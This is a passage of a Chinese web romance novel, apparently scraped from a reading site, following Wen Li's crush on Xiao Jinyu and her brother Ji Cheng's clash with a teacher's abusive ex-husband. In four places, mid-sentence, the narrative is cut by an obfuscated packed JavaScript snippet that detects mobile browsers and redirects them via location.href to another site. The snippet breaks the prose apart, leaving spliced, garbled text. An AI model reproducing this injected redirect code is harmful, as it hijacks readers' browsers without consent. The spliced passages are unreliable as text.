温梨动作一顿,眼神带点茫然地四处张望了张望,最后才把目光落到他身上,有点不敢确认:“你是在跟我说话吗?” 肖靳予“嗯”了声,说道:“膝盖。” “膝盖?”温梨对于他主动跟她说话这事还挺意外的,迟钝地反应好一会儿才想起,“哦,你说我的膝盖啊,没事的,都好了,也没留疤。” “不要跪地上,石子会划伤腿。” 温梨懵懵地点头:“哦,好。” 他居然在关心她。 她赶紧从地上爬起来,拍拍腿上的灰:“谢谢你啊。” “嗯。” “不过没事的,我这人恢复能力强,这么一点石子不算什么。”她声音又扬了起来,“你是不知道我小时候从树上掉下来过,膝盖磕过好大一个口子,我妈说血流得像杀鸡似的,结果没两天我又能爬树了。” 肖靳予没接话,当然她也不需要他接,只要给她起个头,她就能顺着往下唠。他想,如果把她丢到非洲语言不通的部落里,估计也能很快混个小酋长。 肖靳予点了点头,算是回应,随即打算离开。 ? 就这么走了? 温梨有些急,脑子里乱七八糟地转着念头,好不容易才有个说话的机会啊。 于是她鼓起勇气上前,轻轻拽了一下他的袖子,她用的力气并不大,肖靳予还是感觉到了阻力,回头看她:“还有事?” “就是刚才对不起啊,我不是在骂你,也没觉得你面瘫,比狗还是强很多……”说到这又感觉这话不对劲,连忙找补:“不是不是,我是说,你没有不如狗……” 这都什么跟什么啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496931|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我的意思是……你这人优点挺多的,就比如……”温梨嘴瓢的都不知道自己在说什么了,“腿很长……” 肖靳予漠然地看着她,他没太懂话题是怎么一下子转到这边的。 温梨说这话其实压根没过脑子,她只是想再多待会儿:“腰也挺细。” 肖靳予:“……” “脸也很帅。” “……” 空气安静下来,就……挺尴尬的吧,还能夸点哪呢?总不能说他屁股翘吧,容易被当成变态。 她正绞尽脑汁想话题呢,耳边忽然有人喊他的名字。 “肖靳予。” 温梨条件反射地转头,看到一个男生朝他们走过来。 她不认识,估计是他们医学院的同学。考虑到男生宿舍门口来来往往都是认识的人,也不方便呆太久,虽然不舍,但她还是很看眼色告别了:“好吧,那我先走了,再见。” 等她离开,男生八卦地望着她的背影:“刚刚那女生是谁?” “季丞的女朋友。”肖靳予回。 “季丞的女朋友?”苏宇成尖锐的喊了一嗓子,凑过来八卦,“不是,你俩平日不是不对付吗?他女朋友为什么要跟你拉拉扯扯的?” “不知道。” 肖靳予径直往前走了。 苏宇成跟过来:“刚才我可全听见了,她还说你还说你腿长腰细,这什么意思,不会是想泡你吧?” 肖靳予脚下一顿,立马否认:“你想多了。” “什么我想多了,”苏宇成一脸的见多识广,“我被渣过,这事我有经验的,她绝对是对你有意思,你说她要单身我也就不说什么了,但有男朋友还说这种话,这是什么,这分明就是在养鱼。” “……” “养鱼知道什么意思吧?就是四处撒网,看哪个上钩就钓哪个,你可千万别上钩啊。” 他这话里话外都是暗示,肖靳予冷着脸,心里忽然有点烦躁,脚下加快了步子。 他腿长,没一会儿就把苏宇成甩在了后面。 “小心点,你没经验,别被她骗了。”身后传来苏宇成苦口婆心的叮嘱。 回到宿舍,季丞已经离开了,他的桌面和床铺收拾得干干净净,往常散落的书本、充电线、矿泉水,统统也不见了踪影。 他正要移开视线,目光被地上的东西绊住。 是一只粉色发夹,很小一个,爱心的形状,安静躺在季丞书桌下面。 他看着那只发夹,发了好一会儿的呆。 手机传出震动,他解锁。 大梨士:【送你一朵小花花~0v0~】 大梨士:【[图片]】 女孩葱白的手指捏着一朵花,是用枫叶卷成的玫瑰,枫叶是红的,边缘微微翘起。 她捏着叶柄,指尖透着淡淡的粉。 肖靳予盯着那张照片,屏幕冷光打过来,让他的不自觉地眯起眼睛。 这又是什么意思? 有男朋友的人,为什么给他发这些。 他不愿意用“泡”这个词去想她,但还是不受控地冒出来,她是想泡他吗?还是他对她来说,这只是打发时间的消遣? 停顿几秒,他的拇指悬在屏幕上方,长按,保存,再把对话框删除干净。 速度很快,像是生怕被谁看见。 11. 第 11 章 季丞租的房子在城中村,老旧小区连个物业都没有,楼道里堆满杂物,墙皮斑驳发黑,处处透着逼仄寒酸。 温梨帮他把东西搬上楼,环视着四周糟糕的环境,都有点怀疑他被中介骗了:“确定是这里?” “确定。” “可这离医院也不近啊。” “近的贵。” “嫌贵你还搬出来?还是这种破地方。” 温梨理解不了他的脑回路,季丞却是半点不嫌弃,撸起袖子开始收拾。 温梨最讨厌打扫卫生了,这事还是他自己干吧,于是把沙发擦了擦,躺在上面吃橙子,没呆一会儿就被季丞支使下去倒垃圾。 她撇撇嘴,不情不愿地下楼了。 回来时刚好撞见隔壁邻居进门,是个年轻女人,架着一副细框眼镜,气质温婉恬静,看着很舒服。 温梨下意识多看了两眼,这一眼,就认出是个熟人。 “姜老师?”她有些意外地开口。 姜舒婉扭头,目光带着几分疑惑在她脸上顿了顿,才轻声问:“不好意思,你是?” “我叫温梨,海宁三中毕业的,我高三才转过去,您没教过我,不认识我很正常。” 温梨笑着说,“不过我知道您,您在咱学校可有名了,大家背地里都喊您女神呢,没想到姜老师住这儿?” “你好,”姜舒婉笑了笑,看了眼她身后敞开的房门,“你是刚搬来的?” 这栋上个世纪老楼房没电梯,一层就两户,除了姜舒婉住的这间,另一户常年空着,看样子是近期租出去了。 “不是我,我哥租的。” “你哥?” “嗯,您还教过他呢,当年是咱学校的高考状元,你肯定有印象,” 温梨转身朝屋里扬声喊,“季丞,你快出来一下,有熟人!” “干嘛,忙着呢。”季丞在屋里拖地,听见喊声拽着拖把就出来了,两人目光一撞,同时愣住。 温梨开心地给他介绍:“是姜老师。” 季丞却没出声,那双本就凌厉的眼在她脸上停了几秒,视线又滑到她脖颈,明明只是初秋,她却穿了件高领毛衣,把脖子裹得严严实实。 姜舒婉被他看得不自在,指尖下意识把领口往上扯了扯,刚要开口,季丞已经面无表情地回屋了,一副全然事不关己的冷淡模样。 温梨:“?” 狗季丞,你也太没礼貌了。 温梨连忙对姜舒婉打圆场:“不好意思啊姜老师,他今天…… 大概是没睡醒。” 姜舒婉又笑了下,嘴里说着“没关系”,然后拿钥匙进了隔壁。 “你什么态度啊?”温梨进屋找他算账,,“尊师重道懂不懂?亏姜老师高中还经常给你补课,白眼狼。” 季丞不说话,沉默着拖地。 “姜老师以前得罪你了?” 他依旧没应声,只是下颌线绷得死紧,呼吸都比平时沉了几分。 怎么奇奇怪怪的。 _ 刚搬过来,屋里的燃气没开通,季丞中午就没做饭,点了两份外卖,温梨要的米线,边嗦粉边看综艺。 屋外忽然传来一阵急促的敲门声。 温梨的筷子悬在半空,听着外面有争吵声,男人的嗓门粗粝,女人的声音发颤。 她还没来得及琢磨出发生了什么,季丞已经放下外卖盒走了出去,神色比刚才更沉。 “你等等——”温梨的粉刚嗦了一半,急匆匆放下追过去。 门拉开,走廊的穿堂风灌进来。 姜舒婉正跟一个男人拉扯,男人身材魁梧,肩宽背厚。姜舒婉在他面前单薄的像一张纸,几下就被拽着手腕拖了出来:“跟我回家。” “裴子谦,我们已经离婚了!”姜舒婉声音发颤,拼命忍着眼泪,越挣扎手腕被攥得越紧。 “离婚?”男人拉扯着她,一步步逼近,“我同意了吗?” “你之前明明答应过,求你别再……” 她的求饶的声音还未发出,一声响亮的耳朵充斥在楼道,姜舒婉被扇得重心不稳,肩膀撞到了墙壁,疼得直冒冷汗。 裴子谦再度过来一把掐住了她脖子,姜舒婉瞬间呼吸困难,脸颊憋得通红,连挣扎都变得微弱 “不想跟我过了是吧,还是说我满足不了你了?” 这是家暴吧? 温梨的拳头硬了。 她这边大招还没蓄好,季丞已经率先冲了出去,一脚踹到男人后腰上:“滚开,别碰她。” 温梨微微一怔,还是第一次见他哥这么勇,平日可都是事不关己高高挂起,居然还会打抱不平? 可那男人只是脚步晃了下,便转过头,视线在季丞脸上扫了两秒,语气里满是轻蔑:“又是你?” 季丞冷声:“我让你滚。” 男人“呵”了声:“又来多管闲事了,看来上次被我打进医院还没长教训是吧?” 季丞的脸白了。 温梨:“??” 是这个人把季丞打进医院的? “我说你为什么天天不回家,还非要跟我离婚,原来跟这个小白脸在一块了,他比我有钱?” 姜舒婉挣扎:“跟他没关系,是我要跟你离婚!” “我告诉你姜舒婉,不可能,我不可能同意的,就算你去起诉还得两三年呢,我拖也得拖死你。” 他还没说完,季丞的拳头已经狠狠砸了过去,没有半点保留,结结实实落在男人脸上,裴子谦被打得踉跄后退,摔到了地上。 季丞扑过去,拳头继续不要命地落下来,但没几秒,裴子谦反应过来便猛地翻身,大手揪住他的衣领,竟硬生生将他整个人提了起来,反压在地上。 “咚” 的一声闷响,男人坚硬的膝盖已经狠狠顶在他腹部。 “让你勾引有妇之夫,不要脸的东西!”他的招式利落狠辣,一看就是正经练过的。 “季丞!”姜舒婉吓得失声,哭腔堵在喉咙里,疯了一样要冲上去,生怕像上次一样害他住院。 温梨一把将她拉住:“你先报警!” “好。”姜舒婉哆哆嗦嗦地去拿手机报警。 温梨转身去屋里,抄起门口那根拖把,趁着两人打得不可开交,这么说也不对,趁季丞单方面挨打之时,瞅准机会,朝男人的后背一棍子砸下去。 她这下用了十成力气,震得手臂都麻了。 即使裴子谦身体素质好,也被她一闷棍砸得眼前发黑,喉头涌上一阵腥甜,他缓缓扭过头,盯着温梨,眼神阴鸷得像是要吃人。 季丞心头一紧,厉声朝着温梨吼:“梨梨,快回屋去!” 温梨没动,站在原地,还冲他歪头笑了笑。 裴子谦咽下那口老血,歪歪扭扭地站起来,眼里凝着戾气,刚挪了一步,身体不听使唤地晃了晃,重重栽倒在地。 季丞:“??” _ 裴子谦醒来时已经是半个小时之后,警察局内,他忍着剧痛,声泪俱下地控诉有人合伙他的妻子谋杀他。 警察问:“谁打的你?” 他被问住了,说实话他压根不知道谁打的,当时他的注意力全在季丞身上,身后只站着他软弱的老婆和…… 他扭头看了眼坐在椅子上玩手机的温梨,小姑娘白白净净,看着年龄不大,脸颊还带点婴儿肥,察觉他的视线,抬起头来冲他笑了笑,一双梨涡就这么浮现在她脸上,看着人畜无害的。 不可能是她啊。 小丫头怎么可能有这么大的力气。 他回头跟警察说:“我不知道啊。” “不知道就是没人,你这是家暴,性质很严重,根据社会治安法要拘留五日。” 裴子谦不认,非说有人勾结他老婆打他,他属于正当防卫,但又说不出谁打的他,老小区没监控,最后只能吃下这个哑巴亏。 出了警察局,姜舒婉对两人再三感谢,因为女儿还留在幼儿园,她没法多待。 温梨诧异:“姜老师你都有女儿了?” 姜舒婉干笑着点了点头,瞥了眼角落里脸色还黑着的季丞,没敢去跟他说话,给温梨留了个联系方式就匆匆走了。 看着女人急切的背影,温梨叹了口气:“罪过。” 季丞嗤了声,附和:“便宜他了。” “我说的是你。” “?” 温梨啧啧两声:“我就说你为什么放着好好的宿舍不住,搬来这么个鸟不拉屎的地方,原来是为了姜老师啊,人家还没离婚呢,还带着个女儿,你这不是罪过是什么?” “胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496932|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么?” 这罪过他不认,季丞扭头就走。 温梨背着手慢悠悠地跟在后面:“我还记得你高中快高考那会儿写情书被抓,还死活不肯承认给谁写得,最后都被叫家长了,这人该不会就是姜老师吧?你喜欢姜老师!你胆子真是不小!” 季丞脚下一滞,像是被戳中难言的小心思,目带警惕地看过来,温梨贼兮兮的笑了:“怎么,被我说中了。” “不是情书。” “那是什么?” “感谢信。”季丞无语,“高中教导主任不都这样,只要与学习无关的,一律被认为是在谈恋爱。” 季丞高中时身体不好,时常请假导致落下不少课。姜舒婉当时是他的数学老师,偶尔会在课间操给他补课,就这样慢慢交集多起来。 姜舒婉是他见过最温柔的人,永远笑盈盈的,说话声音很轻,像春天里落进湖面的柳絮。 他开始隐隐期盼每天看到她,那时他并不懂这种期待意味着什么,只是偶尔在夜里想起时,胸口会泛起一丝说不清的潮意。 但这种懵懂的好感并不足以抵挡漫长的岁月,毕业后她们就再也没联系了,如果不是那次在医院偶遇,他都快忘记她了。 走廊里消毒水的味道很重,日光灯管发出轻微的嗡鸣,他远远地看见一个人坐在长椅上,头发凌乱,背微微佝偻。 走近,才认出是她。 她脸上的笑还在,却不再是当年的温柔,而是一种小心翼翼的客气,生怕给别人添麻烦似的。 如果她过得好,他大概永远不会打扰,但偏偏…… 不该是这样的,他想。 季丞神思回笼,想开口再跟她解释一下,注意到旁边的温梨一直在揉手腕,他一下子紧张起来:“你手怎么了?受伤了?” “没有,”温梨活动了两下,“就是刚才用的力气太大了,震得虎口有点发麻。” “怎么不早说。”季丞拉着她进了路边一家药店,买了点红花油,边给她擦,边唠叨着,“都说了让你别管,你要是因为我受伤,爸妈不得活剐了我。” “今天要不是我,你肯定又要被打进医院。” “那也是我活该,谁让我多管闲事。”他低声自嘲,眼神晦涩难辨。 温梨低着脑袋去看他,看着看着忽然笑了:“没想到我哥还是个情种。” “……” “虽说挖人墙角不道德,但姜老师的老公也不是什么好东西,我支持你。”温梨又说,“但这个裴子谦出来后肯定还会去找姜老师麻烦,到时候你记得给我打电话,别自己硬上。” 季丞心里好笑,他到底是活得多窝囊,还得让自己妹妹来保护他。 “我说你啊……”他给她擦完药,站起来,用手指戳了戳她的眉心,“真当自己是行侠仗义的女侠啊。” 温梨坐在高脚凳上,一个不察,被他戳的重心不稳差点往后仰去,慌忙中扯住了季丞的胳膊,上半身倾回来扑倒在他怀里。 “吓我一跳!”她气呼呼地踹他一脚。 季丞笑着逗她:“你刚刚不是挺能的吗?温女侠。” _ 窗外的风景走马灯似的飞速后退。 肖靳予望向窗外,目光无意间往路边那扇玻璃窗里一瞥。 吧台边坐着两个人,是温梨跟季丞。 季丞不知跟她说了什么,她扬手去打他胳膊,没打着,气得脸颊都鼓起来了。男生笑着凑过去,搂着肩膀哄了几句,她的眉眼这才舒展开来。 那扇玻璃擦得很亮,亮得他能在一瞬间看清她眼角的弧度。 不知为何,脑子里忽然闪过一个奇怪的念头,跟她在一起的人,应该也会很开心吧。 他闭上眼,靠着椅背闭目养神。 出租车停到目的地,这片是海市有名的老别墅区,藏在市中心,能住这片的非富即贵。 天色已晚,因为植被茂密,豪华别墅显得黑漆漆的没有一丝人气,更像是许久无人居住。 他开了灯,白色波斯猫蹲在几步之外,警惕地看着他,冲他不客气地喵了一声。 他伸出手,年糕后退半步。 他的手悬在半空。 “别看了,就我一个人,她不会要你的。” “喵~” 12. 第 12 章 周三下午没课,温梨去训练基地见张教练。 她到的时候,张教练正在带队员加练。隔着玻璃墙,温梨看见许多不认识的陌生面孔,青涩的生疏的,但一个个都憋红了脸,杠铃砸在地板上发出沉闷的声响。 看到她隔着玻璃挥手,张教练惊喜地赶紧走出来:“小梨来了。” 温梨冲过去给他来了个拥抱:“教练,我想死你了。” 她刚进体校没多久就跟着张教练了,这些年相处下来,如师如父,感情深厚。 张教练抱着她转了一圈:“是不是瘦了?” 温梨笑:“没有,还和以前一样。” 他捏着她的肩:“那就是肌肉少了,你看这胳膊都细了。” 两人在场边的长凳上坐下,训练馆里的声音逐渐变得模糊,张教练问她:“还回来吗?队里还给你留着位置呢。” 温梨沉默着不知怎么开口:“我爸妈不同意。” “我理解,上次你受伤可把你爸妈吓坏了,当父母的哪有不心疼孩子的,你妈给我打过电话,哭着埋怨我没照顾好你,也怪我,你年轻经验不足,我就不该让你上场的……” 说到这,教练都开始哽咽了,温梨安慰他:“是我自己的原因,我当时也是有点不识好歹了。” “你啊,是我带过最好的苗子。”他说着,声音沉沉的,“当年你十四岁进省队,第一次试举,我就知道这丫头能成,你那个爆发力,还有韧劲,十年难遇,你真舍得放弃啊?” 温梨没开口。 舍得吗? 她其实也不知道,这一年她每天上学下课,不用六点出早操,不用辛苦训练,没事跟同学打打闹闹,其实过得也挺开心的,就是总感觉缺了点什么。 就觉得人活一辈子,总要有点什么攥在手里吧。 “队里不急,你慢慢想,但是温梨,好苗子不多,我是真的舍不得你。” 出了训练馆,温梨站在台阶上,回头看了眼训练基地。 十二岁那年,她在体校跟男生比赛引体向上,被过来的张教练一眼相中,一路把她从青少年梯队带向一线。 张教练从不怀疑,他很肯定她会在国际赛事上大放异彩,但谁也没料到,她在巅峰的年龄段受伤,这一停赛就是一年。 温梨回过头,往公交站走去,兜里的手机响起来,她接通:“喂?” “梨梨,你在哪呢?”是付琴,对面声音很急。 “在省体这边。”温梨说,“怎么了?” “快回来,快来篮球场。” “怎么,你看上哪个体育生了?” “不是,是你男神。” “?”温梨不淡定了,“你看上我男神了?!” 付琴就挺无语的:“抱歉,我不是受虐狂,是你男神在打蓝球。” 打篮球!脑子已经开始自动播放了,男生穿着白色球衣,露出线条流畅的小臂,运球时球衣下摆随动作扬起,隐约能看见腹肌的轮廓。 温梨咽了咽口水:“我马上回去!” “你回来的时候记得去超市买瓶水,”付琴手把手地教她,“这样就可以去给他送水了。” “有道理,等我结婚请你坐主桌!” 温梨立马来了精神,急急忙忙地在路边打了辆出租车往学校赶。 窗外的街景飞速后退,温梨的手搭在膝盖上,等红灯的几十秒都嫌长,恨不得立刻飞奔过去。 车一停稳,她扫码付钱,推门就跑了。 球场上人很多,里三层外三层的围着,还有女生举着手机在拍视频。温梨压根看不到里面的情况,踮起脚往里面张望。 “这里!这里!”不远处的付琴冲她挥手。 温梨急忙跑过去:“我没来晚吧?” “晚倒是不晚,就是……”付琴看着她手里那瓶2L装的大桶农夫山泉陷入了沉思,“别告诉我这是你买的水?” 温梨:“对,我怕他不够喝,特意买的大瓶。” “谁让你关心他够不够喝了。”付琴有点头疼地扶额:“又不是真让你去给他送水喝!” 温梨蒙了:“那要送什么?” “……” 送你离开千里之外吧。 热情的尖叫和鼓掌声再度掀起。她这一耽误,比赛已经结束了,女生们一窝蜂地挤上去送水。 隔着人群,她看到肖靳予被一群女生围到了中间,他身上都是汗,双眼也被汗水沾湿,表情还是是一如既往的淡漠,完全看不出赢比赛的兴奋。 温梨也想挤过去,但人太多了,根本没有机会。 可恶,他怎么这么受欢迎啊!她垫着脚往里面张望,他要是敢接别人的水就完了。 她以后再也不理他了。 不知是不是她的威胁真起作用了,肖靳予还真没接别人的水,沉默着离开了人群。 温梨抱着瓶子,就要追过去。 下一秒,手中一松,矿泉水被抢走了。 她回头,看到了季丞那张欠揍的脸。 他拧开瓶盖,仰着头将水灌入口中。 啊啊啊她给肖靳予的水! “季丞!你要不要脸!”她一脚踹过去,被季丞灵活地闪过。 他毫不客气地“咕咚咚”一口气喝了大半,然后才餍足地把瓶子重新塞回她怀里:“谢了哈。” 温梨心疼地看着自己的水,就只剩下半瓶了! “还是我们的梨梨会心疼哥哥。”季丞顺手揉了下她的脑袋,把她刘海揉成一团乱毛。 “我心疼你大爷!”她抬手就是一巴掌,拍在他胳膊上一个红掌印,“谁让你喝的?这是我的!我的水!” “不就是一瓶水,看你小气的,要我吐出来还你?” “你恶不恶心?” “明天再给你买一瓶就是了。” 明天哪还来得及,温梨气得又想踹他。季丞已经大摇大摆地走了,还顺手撩了把汗湿的头发,留给她一个自认为很帅的背影。 “你等着!”温梨冲着他背影挥拳,“下次我往水里下泻药!” “我等着。” 季丞头也不回,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496933|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音欠揍。 温梨是真想冲过去给他一顿暴揍,不远处的付琴冲着她喊:“梨梨快过来,你干什么呢?肖靳予都要走了。” 哦对肖靳予!差点忘记正事了。 人群已经散开了,肖靳予正拎着球服领口擦汗,露出半截腹肌,面无表情地往场边走。 温梨一个箭步冲上去,扯住了他的衣角。 他被扯得步子一滞,回头看她:“做什么?” 刚打完球的缘故,他的眼尾有些泛红,睫毛被汗水打湿,结成簇,衬得眼珠更黑、更沉,也更性感了。 ……又勾引人。 温梨抿了抿唇,努力让自己的笑容真诚:“我来给你送水呀!” 肖靳予瞥一眼她手中晃荡的半瓶水,语气没什么起伏,却莫名带上点阴阳怪气:“一瓶水送两个人,你倒是会省事。” “……”温梨被噎了一下,“不是,刚刚路边有只狗渴了,我看他可怜就给他喝了,你要是嫌弃的话,我再去给你买一瓶。” “不用。” 肖靳予扭头走了。 走进教室,他停下来,脑海里是温梨刚刚的表情。 他在想,刚刚的语气是不是太差了,她又不是他的谁,凭什么不能给别人送水。 他失了会儿神,一直等身后有人拍了他的肩,才反应过来。 是苏宇成,他拍着大腿跟他说:“高,这姑娘实在是太高了,我怎么就没想到呢,这些年我之所以一直单身,估计就是因为每次的目标只有一个。我得跟她学一学,鸡蛋不能放在同一个篮子里啊,一条杆钓两条鱼,一瓶水送两个人,多线程同时并发啊,东边不亮西边亮,天才啊,我要是真有她这觉悟,我还能单身?” 肖靳予有点无语:“你从哪冒出来的?” “从球场过来的,刚刚我全听到了。” “……” “我不是故意偷听的,就是怕你经不住诱惑。” “……” 苏宇成感叹:“不过她胆子也太大了,而且你俩还是舍友,万一事情暴露了怎么办?” “都说了她没想泡我。” “那你烦什么劲?”苏宇成,“不会是因为她没想泡你才烦的吧?” 肖靳予:“……” _ “daddy,你觉得,我是不是应该去挽回一下我的形象。”温梨坐在椅子上,冷静的复盘,“我得去跟他解释一下。” “开窍了?”付琴坐椅子上涂指甲油,非常欣慰地抬头看她,“你就去跟他解释一样你没有在……”养鱼。 “养鱼”两个字还在嘴里含着,温梨突然一拍桌子,腾地站起来,“我这去跟他解释,我真的没有拿喂狗的水给他喝!” 付琴:“……” 这孩子没救了。 “还是算了吧,”路过的姜早拍了下她的肩膀,“我掐指一算,你这个月应该是追不到人了。” 温梨还抱有一丝的期望:“那下个月呢?” “下个月你就习惯了。” “……” 13. 第 13 章 温梨出师不利,接下来几天夹着尾巴做人,没敢再去肖靳予跟前晃悠,怕所剩无几的印象分被扣光了。 但她这个人精力旺盛,根本闲不下来,一闲下来就容易浑身不自在,于是她又开始琢磨怎么让爸妈同意她归队的事了。 今天晚饭,她决定再去暗示一波。 “妈妈,”温梨夹了块排骨,拉家常似的说起来,“你知道我的偶像是谁吗? “谁呀?” “项羽。” “噢,宝贝为什么喜欢他呀?” “因为他是西楚霸王啊,”温梨放下筷子,绘声绘色的说,“是大英雄,力拔山兮气盖世,不觉得很帅很厉害吗?” “自刎乌江的那个对吧?”季青提拿起碗盛汤,语气平平淡淡,“英雄倒是英雄,就是结局不好。” “人家好歹辉煌过。”温梨弱弱反驳。 “年纪轻轻的命都没了,辉煌有屁用啊。” 一定是这个例子不好,换一个:“我也喜欢秦武王,天生神力,勇猛神武……” 季青提说:“这个人我知道,就是那个喜欢跟人举鼎逞能,结果把腰给扭断了的那个,也是莽夫一个,你喜欢他做什么?” 温梨:“……” 这些人是怎么回事,怎么没点好结局! 温陶喝了口粥,看她一眼:“宝贝,你是不是有心事啊?” “没有。” 她闷下头,安静吃饭。 - 周五傍晚。 肖靳予两个月前投的那篇骨肉瘤保肢治疗的论文,编辑部回了审稿意见。 肖靳予逐条往下翻,前两人的意见中规中矩,无非是补充文献,优化统计方法,第三位审稿人意见最长,足足两页。这人显然是他研究方向的同行,提问刁钻,一针见血地指出了模型中的两个潜在缺陷。 他总结完问题,给吴院长发了封邮件。 从实验室出来时已经六点多了,走廊尽头的窗户映进来大片橘红色的光。经过开水间时,他听见了季丞的声音。 “这件事没有可能,你是不是听不懂人话?” 肖靳予脚步一顿。 开水间的门半掩着。他看见温梨靠在墙边,季丞站她对面,女孩声音闷闷的,手里的饭盒握的很紧,垂着脸,可怜兮兮。 “你就帮我一次嘛,求你了。” 温梨想回省队这事,她实在攻略不下爸妈了,只能把主意打到季丞头上,想让他去爸妈面前说两句,结果季丞这只狗死活不干。 “自己去说。”季丞烦得要命,声音又冷又硬,“赶紧滚,以后没事别来烦我,我忙得很,没空应付你。” 温梨扁着嘴,把饭盒攥得更紧了。 肖靳予忽然感觉刺眼。 她怎么回事,不是力气很大吗?能把一个成年男人叉到墙上,怎么到季丞面前,被骂了都不敢还嘴。 “赶紧回去。”季丞不耐烦地说。 “哦。” 温梨把饭盒递给他,慢吞吞地往外走。 肖靳予往后退了一步,想在她出来前离开。但慢了一拍,两人迎面撞上。 看到他,温梨愣了下,飞快扯出一个笑:“好巧啊,肖靳予,你今天值班呀。” 又是这种笑,她都被骂了,怎么转脸还能笑出来。肖靳予看着她的眼睛,有些红,睫毛挂着潮气,但嘴角已经翘起来了,装作什么事都没有。 他不知道哪里来的冲动。 “季丞。” 开水间里,季丞转过头。 “她来给你送饭,你连句谢谢都不会说?” “?”季丞莫名其妙地走出来,站到温梨旁边,“关你什么事啊?” “是不关我的事。”肖靳予说,“但她不欠你。” 季丞眯起眼,上下打量了他一遍:“你什么意思?” 不是,什么情况,这俩人怎么一见面火药味就这么浓啊。温梨赶紧去扯季丞的袖子:“你少说点吧。” “你闭嘴。”季丞把她的手甩开。 这一下并不重,但温梨的手还是被甩到身侧,撞到了门框。她没出声,只是默默把手缩了回去, “季丞。”肖靳予听见自己陌生的声音,压抑着快控制不住的情绪,“你对她好点,她不是你的出气筒。” 季丞:“?” 这人有毛病吧,凭什么来教训他! 季丞的表情变得极其古怪:“你他妈有病吧肖靳予?我跟她的事轮得到你管?你算老几?” “不算老几,看不过去而已。” 季丞忽然笑了:“看不过去?你平时能看见什么,这会儿倒是看不过去了。” 温梨拽着他的手臂:“行了行了,走了。” 季丞没动,死盯着肖靳予,一字一顿:“我警告你,别打她的注意。” 肖靳予没有接话。 季丞拉着温梨走了,温梨被他拉得踉踉跄跄,回头看了肖靳予一眼。 肖靳予看着她,眸色忽地变深。 平生第一次,他忽然生出想争夺的念头。连他自己都意外,这份近乎失控的心思,究竟从何而来。 - 温梨完全没想到季丞跟肖靳予的关系已经到达水火不容的地步。怎么能一见面就能呛起来,而且好像还是因为她被季丞凶了。 这个念头让她忍不住开心起来。 所以他还挺关心她的嘛。 温梨拿出手机给肖靳予发消息。 大梨士:【季丞这人有毛病,你千万别跟他一般见识呀/可爱】 消息发出去,她捧着手机等。 一分钟。两分钟。 对话框安安静静的。 可能在忙吧,她把手机扣在床上,抱着脏衣篓去了洗衣间。 等忙完回来,屏幕终于亮了。 小金鱼:【h78j89^hksha你好、漂亮8aaaaaaaaaaa】 温梨盯着这串字符,睫毛轻轻颤了颤。 什么情况。 肖靳予……是在夸她漂亮? 心跳忽然快了半拍。她盯着那行字看了好一会儿,才敲下回复,指尖都跟着发烫。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496934|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨士:【真的吗?你觉得我漂亮?】 另一边,肖靳予正跟年糕对峙。 他没养过猫,何况还是个各方面都与他不对付的猫。 温梨给它取名“年糕”,说是因为黏人,但是它似乎只黏温梨。平日对他爱答不理,每天看到他就支棱起耳朵,跳到储物柜顶上居高临下地打量他,只有饿了才会不情不愿地下来,绕着他裤腿敷衍地蹭一下,示意他放粮。 肖靳予也懒得搭理它。 一人一猫各过各的,井水不犯河水。 手机放在茶几上充电,他回了封邮件的功夫,屏幕亮了一下。 年糕不知什么时候跳上了茶几,在他手机旁边蹲下来,歪着头看他。 肖靳予瞥它一眼:“看什么?” 年糕不理他,低头舔爪子。 他继续处理邮件,余光中看到年糕踩上他的手机也没当回事。 等再抬头时,屏幕里赫然多了一条刚发出去的消息。 小金鱼:【h78j89^hksha你好、漂亮8aaaaaaaaaaa】 肖靳予:“……” 他一把捞过手机,年糕被他的动作吓了一跳,“喵”了一声跳下茶几。 他盯着屏幕上那串乱码,太阳穴突突地跳。 正想打字解释,对面已经秒回了。 大梨士:【真的吗?你觉得我漂亮?】 他在输入框打下三个字“猫按的”,指尖悬在发送键上,却迟迟没有按下。 